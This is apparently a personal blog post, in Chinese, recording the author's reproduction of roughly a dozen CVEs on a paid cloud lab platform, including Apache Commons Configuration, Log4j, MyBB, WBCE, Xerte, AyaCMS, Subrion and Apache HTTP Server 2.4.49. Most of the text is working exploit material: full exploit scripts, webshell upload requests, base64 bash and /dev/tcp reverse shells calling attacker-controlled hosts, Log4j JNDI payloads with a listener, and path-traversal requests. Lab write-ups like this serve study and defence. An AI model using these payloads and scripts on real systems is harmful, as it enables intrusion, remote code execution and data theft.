一些cve的复现

给春秋云镜充钱了，送了3天cve限免，不刷白不刷

更多的是跟着cve打了一遍漏洞的利用

CVE复现

RCE漏洞

CVE-2022-33980

介绍：

Apache Commons Configuration 是 Apache 基金会下的一个开源项目组件。它提供了一种通用的方式，让 Java 开发者可以使用统一的接口读取不同类型的配置文件 该漏洞是由于 Apache Commons Configuration 提供的 Configuration 变量解释功能存在缺陷，攻击者可利用该漏洞在特定情况下，构造恶意数据执行远程代码

利用范围：2.4 <= Apache Commons Configuration <=2.7

详细分析：https://xz.aliyun.com/t/11723

vps上web目录放xml文件

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<?xml version="1.0" encoding="ISO-8859-1" ?>
<configuration>
        <path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {echo,Ym........zNCA8JjE=}|{base64,-d}|{bash,-i}")}</path>
</configuration>

在java 命令执行 payloads生成base64后的payload，替换上面的base64字符串

payload：

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/Url?url=http://vps_ip/2.xml&data=path

CVE-2022-25759

介绍：

convert-svg-core受影响版本（0.6.2之前）可以通过发送包含有效载荷的SVG文件来远程代码注入

先试试功能能否正常使用

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http://eci-2zeh9q080lae0yeywfhe.cloudeci1.ichunqiu.com:8080/poc?fileSvg=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22200%22%20height%3D%22200%22%3E%0A%20%20%3Crect%20width%3D%22100%25%22%20height%3D%22100%25%22%20fill%3D%22red%22%20%2F%3E%0A%20%20%3Ctext%20x%3D%2250%25%22%20y%3D%2250%25%22%20fill%3D%22white%22%20font-size%3D%2220%22%20text-anchor%3D%22middle%22%3EHello%20SVG!%3C%2Ftext%3E%0A%3C%2Fsvg%3E

image-20240124152329331

payload

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<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>


//base64原文
document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

//将payload全编码
%3Csvg%20onload%3Deval%28atob%28this%2Eid%29%29%20id%3D%27ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk%2BPC9zdmctZHVtbXk%2BPGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI%2BPHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI%2BZGF0YTwvdGV4dD48L3N2Zz4nKTs%3D%27%3E%3C%2Fsvg%3E

poc

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const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});

修改payload，改成读取/flag

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/poc?fileSvg=%3Csvg%20onload%3Deval%28atob%28this%2Eid%29%29%20id%3D%27ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk%2BPC9zdmctZHVtbXk%2BPGlmcmFtZSBzcmM9ImZpbGU6Ly8vZmxhZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI%2BPHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI%2BZGF0YTwvdGV4dD48L3N2Zz4nKTs%3D%27%3E%3C%2Fsvg%3E

CVE-2022-25487

介绍：

Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。

exp：

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POST /admin/uploads.php?id=1 HTTP/1.1
Host: localhost:8888
Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041
Content-Length: 356
Connection: close

-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"


-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg


<?php @eval($_POST['cmd']);?>
-----------------------------30623082103363803402542706041--

CVE-2022-25101

介绍：

WBCE CMS v1.5.2 /templates/install.php 文件存在漏洞，攻击者可精心构造文件上传造成RCE

admin/123456进后台

网上现成的exp

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# Exploit Title: WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: 1.5.2
# Tested on: Linux - PHP Version: 8.0.14
# Github repo: https://github.com/WBCE/WBCE_CMS

# -*- coding: utf-8 -*-
#/usr/bin/env python

import requests
import string
import base64
import argparse
import time
import io
from bs4 import BeautifulSoup #pip install beautifulsoup4

PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'

def main():
    parser = argparse.ArgumentParser(description='WBCE <= 1.5.2 - Remote Code Execution (Authenticated)')
    parser.add_argument('-x', '--url', type=str, required=True)
    parser.add_argument('-u', '--user', type=str, required=False)
    parser.add_argument('-p', '--password', type=str, required=False)
    parser.add_argument('-ah', '--attacker_host', type=str, required=False)
    parser.add_argument('-ap', '--attacker_port', type=str, required=False)
    args = parser.parse_args()
    print("\nWBCE 1.5.2 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
    exploit(args, PAYLOAD)

def exploit(args, payload):
    s2 = requests.Session()

    #login
    body= {'url':'','username_fieldname':'username_t18bknev','password_fieldname':'password_t18bknev','username_t18bknev':args.user,'password_t18bknev':args.password}
    r = s2.post(args.url+'/admin/login/index.php', data=body, allow_redirects=False)
    if(r.status_code==302 and r.headers['location'].find('/start/') != -1):
        print("[*] Login OK")
    else:
        print("[*] Login Failed")
        exit(1)

    time.sleep(1)
 
    #create droplet
    up = {'userfile':('t18bknev.zip', io.BytesIO(base64.b64decode(PAYLOAD)), "multipart/form-data")}
    r = s2.post(args.url+'/admin/admintools/tool.php?tool=droplets&upload=1', files=up)
    if(r.status_code==200 and r.text.find('1 Droplet(s) imported') != -1):
        print("[*] Droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)

    time.sleep(1)
 
    #get csrf token
    r = s2.get(args.url+'/admin/pages/index.php')
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
 
    #create page
    body= {'formtoken':formtoken,'title':'t18bknev','type':'wysiwyg','parent':'0','visibility':'public','save':''}
    r = s2.post(args.url+'/admin/pages/add.php', data=body, allow_redirects=False)
    soup = BeautifulSoup(r.text, 'html.parser')
    try:
        page_id = soup.findAll("script")[9].string.split("location.href='")[-1].split("\");")[0].split("'")[0].split("=")[1]
        print("[*] Page OK ["+page_id+"]")
    except:
        print("[*] Exploit Failed")
        exit(1)
 
    time.sleep(1)
 
    #get csrf token
    print("[*] Getting token")
    r = s2.get(args.url+'/admin/pages/modify.php?page_id='+page_id)
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
    section_id = soup.find('input', {'name':'section_id'})['value']
 
    time.sleep(1)
 
    #add droplet to page
    body= {'page_id':page_id,'formtoken':formtoken,'section_id':section_id,'content'+section_id:'[[t18bknev]]','modify':'save'}
    r = s2.post(args.url+'/modules/wysiwyg/save.php', data=body, allow_redirects=False)
    if(r.status_code==200 and r.text.find('Page saved') != -1):
        print("[*] Adding droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)  
 
    time.sleep(1)
 
    input("Please make sure that your nc listner is ready...\n\nPRESS ENTER WHEN READY")
    body= {'rev_ip':args.attacker_host,'rev_port':args.attacker_port}
    r = s2.post(args.url+'/pages/t18bknev.php', data=body, allow_redirects=False)
    if(r.status_code==200):
        print("[*] Exploit OK - check your listner")
        exit(0)
    else:
        print("[*] Exploit Failed")
        exit(1)

if __name__ == '__main__':
    main()

payload

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python 1.py -x http://eci-2zeeupcplo4mimj3ujib.cloudeci1.ichunqiu.com/ -u admin -p 123456 -ah ip -ap 7777

CVE-2022-24734

介绍：

MyBB RCE

在受影响的版本中，Admin CP 的设置管理模块在插入和更新时无法正确验证设置类型，因此可以使用 PHP 代码添加支持类型“php”的设置，在 Change Settings 页面上执行。这会导致远程代码执行 (RCE) 漏洞。易受攻击的模块需要具有“可以管理设置”权限的管理员 CP 访问权限。MyBB 的设置模块允许管理员添加、编辑和删除非默认设置，将设置数据存储在选项代码字符串（$options_code；mybb_settings.optionscode 数据库列）中，该字符串标识设置类型及其选项，由新的分隔行字符 (\n)。在 MyBB 1.2.0 中，添加了对设置类型 php 的支持，选项代码的其余部分是在更改设置页面上执行的 PHP 代码（保留供插件和内部使用）。

影响版本：1.2.0到1.8.30

弱口令

exp

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import requests
import argparse
import random
import string
from base64 import b64decode
from bs4 import BeautifulSoup


def login(username, password):

    data = {
        "username" : username,
        "password" : password,
        "do" : "login"
    }

    login_txt = r_client.post(host + "/admin/index.php", data=data).text

    if "The username and password combination you entered is invalid" in login_txt:
        print("[-] Login failure. Incorrect credentials supplied")
        exit(0)

    print("[+] Login successful!")


def add_settings(cmd, raw_cmd=""):

    config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text

    if "Access Denied" in config_settings_txt:
        print("[-] Supplied user doesn't have the rights to add a setting")
        exit(0)

    print("[*] Adding a malicious settings...")

    soup = BeautifulSoup(config_settings_txt, "lxml")
    my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']

    rand_string = get_rand_string()

    if raw_cmd != "":
        extra = "\" . system('{}') .\"".format(raw_cmd)
    else:
        extra = "\" . system('{} | base64 -w 0') .\"".format(cmd)

    data = {
        "my_post_key" : my_post_key,
        "title" : "An innocent setting",
        "description" : "An innocent description",
        "gid" : 1,
        "disporder" : "",
        "name" : rand_string,
        "type" : "\tphp",
        "extra" : extra,
        "value" : "An innocent value" 
    }

    post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False)

    if post_setting.status_code != 302:
        soup = BeautifulSoup(post_setting.text, "lxml")
        error_txt = soup.find_all("div", {"class" : "error"})[0].text
        print("[-] Exploit didn't work. Reason: '{}'".format(error_txt))
        exit(0)

    print("[+] Malicious post settings accepted!")
    return rand_string

def get_rand_string(length=20):
    
    return ''.join(random.choice(string.ascii_letters) for i in range(length))

def get_cmd_result(ident_string, raw_cmd=""):

    conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text

    soup = BeautifulSoup(conf_settings_list, "lxml")
    row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0]

    cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text

    if raw_cmd == "":
        cmd_result = b64decode(cmd_result[2:]).decode()

    print("[+] Result: {}".format(str(cmd_result)))

parser = argparse.ArgumentParser()

parser.add_argument('--username', required=True, help="MyBB Admin CP username")
parser.add_argument('--password', required=True, help="MyBB Admin CP password")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--cmd', required=False, help="Command to run")
parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()")
args = parser.parse_args()

username = args.username
password = args.password
host = args.host

cmd = "id" if args.cmd == None else args.cmd
raw_cmd = "" if args.raw_cmd == None else args.raw_cmd

r_client = requests.Session()

login(username, password)
ident_string = add_settings(cmd, raw_cmd=raw_cmd)
get_cmd_result(ident_string, raw_cmd=raw_cmd)

使用

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python 1.py --username USERNAME --password PASSWORD --host http://eci-2ze7tkpu99peopljxqmf.cloudeci1.ichunqiu.com/ --raw_cmd 'ls'

CVE-2021-44664

介绍：

Xerte RCE（3.9以下）

该漏洞通过伪装成语言文件的项目接口上传一个恶意制作的php文件，以绕过上传过滤器。攻击者可利用该漏洞可以通过滥用“mediapath”变量中的路径遍历来操纵文件的目的地。

Xerte 有许多不同的语言版本，语言文件使用 .inc 扩展名。这些 .inc 文件通常包含 php 代码，并且 .inc 不在上传黑名单上！我们可以用我们的 php 代码覆盖现有的 .inc 文件并在加载页面时执行它

exp

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# Exploit Title: Xerte 3.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.8.5-33.zip
# Version: up until version 3.9
# Tested on: Windows 10 XAMP 
# CVE : CVE-2021-44664

# This PoC assumes guest login is enabled and the en-GB langues files are used. 
# This PoC wil overwrite the existing langues file (.inc) for the englisch index page with a shell.
# Vulnerable url: https://<host>/website_code/php/import/fileupload.php
# The mediapath variable can be used to set the destination of the uploaded.
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota

import requests
import re

xerte_base_url = "http://eci-2ze6f7fy0tfpwsgwq972.cloudeci1.ichunqiu.com"
php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.

with requests.Session() as session:
    # Get a PHP session ID
    if not php_session_id:
        session.get(xerte_base_url) 
    else:
        session.cookies.set("PHPSESSID", php_session_id)

     # Use a default template
    data = {
        'tutorialid': 'Nottingham',
        'templatename': 'Nottingham',
        'tutorialname': 'exploit',
        'folder_id': ''
    }

    # Create a new project in order to find the install path
    template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)

    # Find template ID
    data = {
        'template_id': re.findall('(\d+)', template_id.text)[0]
    }

    # Find the install path:
    install_path = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)
    install_path = re.findall('mediapath" value="(.+?)"', install_path.text)[0]

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'nl,en-US;q=0.7,en;q=0.3',
        'Content-Type': 'multipart/form-data; boundary=---------------------------170331411929658976061651588978',
       }

    # index.inc file
    data = \
    '''-----------------------------170331411929658976061651588978
Content-Disposition: form-data; name="filenameuploaded"; filename="index.inc"
Content-Type: application/octet-stream

<?php
if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }
/**
 *
 * index.php english language file
 *
 * @author Patrick Lockley
 * @version 1.0
 * @copyright Pat Lockley
 * @package
 */

define("INDEX_USERNAME_AND_PASSWORD_EMPTY", "Please enter your username and password");
define("INDEX_USERNAME_EMPTY", "Please enter your username");
define("INDEX_PASSWORD_EMPTY", "Please enter your password");
define("INDEX_LDAP_MISSING", "PHP\'s LDAP library needs to be installed to use LDAP authentication. If you read the install guide other options are available");
define("INDEX_SITE_ADMIN", "Site admins should log on on the manangement page");
define("INDEX_LOGON_FAIL", "Sorry that password combination was not correct");
define("INDEX_LOGIN", "login area");
define("INDEX_USERNAME", "Username");
define("INDEX_PASSWORD", "Password");
define("INDEX_HELP_TITLE", "Getting Started");
define("INDEX_HELP_INTRODUCTION", "We\'ve produced a short introduction to the Toolkits website.");
define("INDEX_HELP_INTRO_LINK_TEXT","Show me!");
define("INDEX_NO_LDAP","PHP\'s LDAP library needs to be installed to use LDAP authentication. If you read the install guide other options are available");
define("INDEX_FOLDER_PROMPT","What would you like to call your folder?");
define("INDEX_WORKSPACE_TITLE","My Projects");
define("INDEX_CREATE","Project Templates");
define("INDEX_DETAILS","Project Details");
define("INDEX_SORT","Sort");
define("INDEX_SEARCH","Search");
define("INDEX_SORT_A","Alphabetical A-Z");
define("INDEX_SORT_Z","Alphabetical Z-A");
define("INDEX_SORT_NEW","Age (New to Old)");
define("INDEX_SORT_OLD","Age (Old to New)");
define("INDEX_LOG_OUT","Log out");
define("INDEX_LOGGED_IN_AS","Logged in as");
define("INDEX_BUTTON_LOGIN","Login");
define("INDEX_BUTTON_LOGOUT","Logout");
define("INDEX_BUTTON_PROPERTIES","Properties");
define("INDEX_BUTTON_EDIT","Edit");
define("INDEX_BUTTON_PREVIEW", "Preview");
define("INDEX_BUTTON_SORT", "Sort");
define("INDEX_BUTTON_NEWFOLDER", "New Folder");
define("INDEX_BUTTON_NEWFOLDER_CREATE", "Create");
define("INDEX_BUTTON_DELETE", "Delete");
define("INDEX_BUTTON_DUPLICATE", "Duplicate");
define("INDEX_BUTTON_PUBLISH", "Publish");
define("INDEX_BUTTON_CANCEL", "Cancel");
define("INDEX_BUTTON_SAVE", "Save");
define("INDEX_XAPI_DASHBOARD_FROM", "From:");
define("INDEX_XAPI_DASHBOARD_UNTIL", "Until:");
define("INDEX_XAPI_DASHBOARD_GROUP_SELECT", "Select group:");
define("INDEX_XAPI_DASHBOARD_GROUP_ALL", "All groups");
define("INDEX_XAPI_DASHBOARD_SHOW_NAMES", "Show names and/or email addresses");
define("INDEX_XAPI_DASHBOARD_CLOSE", "Close dashboard");
define("INDEX_XAPI_DASHBOARD_DISPLAY_OPTIONS", "Display options");
define("INDEX_XAPI_DASHBOARD_SHOW_HIDE_COLUMNS", "Show / hide columns");
define("INDEX_XAPI_DASHBOARD_QUESTION_OVERVIEW", "Interaction overview");
define("INDEX_XAPI_DASHBOARD_PRINT", "Print");
\r
\r
-----------------------------170331411929658976061651588978
Content-Disposition: form-data; name="mediapath"

''' \
    + install_path \
    + '''../../../languages/en-GB/
-----------------------------170331411929658976061651588978--\r
'''

    # Overwrite index.inc file
    response = session.post(xerte_base_url + '/website_code/php/import/fileupload.php', headers=headers, data=data)
    print('Installation path: ' + install_path)
    print(response.text)
    if "success" in response.text:
        print("Visit shell @: " + xerte_base_url + '/?cmd=whoami')

修改其中的xerte_base_url，然后运行脚本就可以了

详细分析：在 Xerte 中将经过身份验证的文件上传到远程代码执行 – Rik Lutz — Authenticated file upload to Remote Code Execution in Xerte – Rik Lutz

CVE-2021-44238

介绍：

AyaCms是一款极其简单且自由的PHP建站系统，支持模板可视化,标签可视化操作.拖拽排版,所见即所得; 支持电脑,移动设备,微信个性设置; 支持多语言建站; 支持自定义表单; 其3.1.2版本在后台修改模板处存在任意代码写入进而导致RCE.

已经删库了https://github.com/loadream/AyaCMS/issues/2，issues都看不了，也找不到相应的poc

弱口令没登进去

找到一个根据该cms出的ctf题 ：https://exp10it.io/2022/12/nctf-2022-web-writeup/#ez_php

就用wp上的方法打了

payload

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<?php

function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){
	$hash='';
	$max=strlen($chars)-1;
	for($i=0;$i<$length;$i++){
		$hash.=$chars[mt_rand(0,$max)];
	}
	return $hash;
}

function kecrypt($txt,$key){
	$key=md5($key);
	$len=strlen($txt);
	$ctr=0;
	$str='';
	for($i=0;$i<$len;$i++){
		$ctr=$ctr==32?0:$ctr;
		$str.=$txt[$i]^$key[$ctr++];
	}
	return $str;
}

function encrypt($txt,$key=''){
	$key or $key='aaa';
	$rnd=random(32);
	$len=strlen($txt);
	$ctr=0;
	$str='';
	for($i=0;$i<$len;$i++){
		$ctr=$ctr==32?0:$ctr;
		$str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);
	}
	return str_replace('=','',base64_encode(kecrypt($str,$key)));
}

echo encrypt('../module/admin/fst_upload');

exp

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POST /aya/admin.inc.php HTTP/1.1
Host: eci-2zehrnyoyyrnimnbz885.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Content-Length: 242
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zehrnyoyyrnimnbz885.cloudeci1.ichunqiu.com/admin.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA
Connection: close

------WebKitFormBoundarykhsd4wQ8UBmzCnD1
Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php"
Content-Type: application/octet-stream


<?php eval($_REQUEST[1]);phpinfo();?>
------WebKitFormBoundarykhsd4wQ8UBmzCnD1

CVE-2021-44228

介绍：

Apache Log4j是一个基于Java的日志记录组件，通过重写Log4j引入了丰富的功能特性，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。

在某次比赛中hint称其为核弹级漏洞，哈哈哈

漏洞影响的产品版本包括：Apache Log4j2 2.0 - 2.15.0-rc1

分析：log4j2原理分析及漏洞复现- CVE-2021-44228 - FreeBuf网络安全行业门户

漏洞注入点在text处

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${jndi:ldap://8oujj3.dnslog.cn}

工具地址：https://github.com/WhiteHSBG/JNDIExploit

vps上开启服务

记得放行1389、3456端口

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java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip

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${jndi:ldap://ip:1389/Basic/ReverseShell/ip/7777}

vps监听

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nc -lvvp 7777

成功反弹shell

CVE-2021-43484

介绍：

Simple Client Management System 1.0 存在安全漏洞，该漏洞由于无法验证在请求中发送的文件的扩展名，在 create.php 中的 Simple Client Management System 1.0 中存在远程代码执行 (RCE) 漏洞。

我记得这个登陆框也有个sql注入漏洞

环境没起好吗？数据库没连上，这还打鸡毛。。。下一个

CVE-2021-43479

介绍：

The-Secretary是加拿大mikaelstaer个人开发者的一个简单的内容管理系统。 The-Secretary 2.5存在安全漏洞，该漏洞通过 install.php可能会导致RCE。

https://github.com/mikaelstaer/The-Secretary/issues/10

访问install.php

host填域名

数据库名填

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test";eval($_REQUEST[1]);phpinfo();#

原理类似注入，也是闭合语句

不知道为什么没复现成功，改了host也没行，不知道是不是环境问题

CVE-2021-43464

介绍：

Subrion CMS 4.2.1 存在远程代码执行漏洞

这系统后台一堆洞，sql，文件上传，rce。。。

select load_file(‘/flag’);

https://github.com/intelliants/subrion/issues/888

弱口令admin/admin进后台，访问/panel

Fields->Facebook->Required field->Validation PHP code

填入php代码

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exec('echo ^<?php eval($_GET["aa"]); ?^> >./templates/shell.php');

点击save

访问/profile/?edit

但是由于.htaccess在网站根目录下，我们无法直接访问到我们写入的shell页面

所以我们用同样写一个.htaccess文件进去，绕过它的限制

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exec('echo ^<IfModule mod_rewrite.c^> >./templates/.htaccess');exec('echo RewriteEngine Off  ^</IfModule^> >>./templates/.htaccess');

再访问shell.php执行命令就行了

CVE-2021-42897

介绍：

wms中存在任意代码执行漏洞

https://github.com/FeMiner/wms/issues/12

问题出在

太低能了

网上有现成的exp

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POST /system/datarec.php HTTP/1.1
Host: eci-2ze3es0hytbdktzuz9xu.cloudeci1.ichunqiu.com
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3es0hytbdktzuz9xu.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3es0hytbdktzuz9xu.cloudeci1.ichunqiu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1666320065,1666528495,1666591607; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1666604245
Connection: close

r_name=$(bash+-c+'bash+-i+>%26+/dev/tcp/42.192.226.104/9999+0<%261+2>%261')

CVE-2021-42171

介绍：

Zenario CMS 9.0.54156 后台存在文件上传漏洞，攻击者可以上传webshell执行任意命令

https://github.com/hieuminhnv/Zenario-CMS-last-version/issues/2

CVE-2021-41773

介绍：

2021年10月5日，Apache发布更新公告，修复了Apache HTTP Server 2.4.49中的一个路径遍历和文件泄露漏洞（CVE-2021-41773）。 攻击者可以通过路径遍历攻击将 URL 映射到预期文档根目录之外的文件，如果文档根目录之外的文件不受“require all denied” 访问控制参数的保护，则这些恶意请求就会成功。除此之外，该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。

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curl -v --path-as-is http://192.168.22.140:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

poc

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POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.109.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 19 Jan 2022 06:29:11 GMT
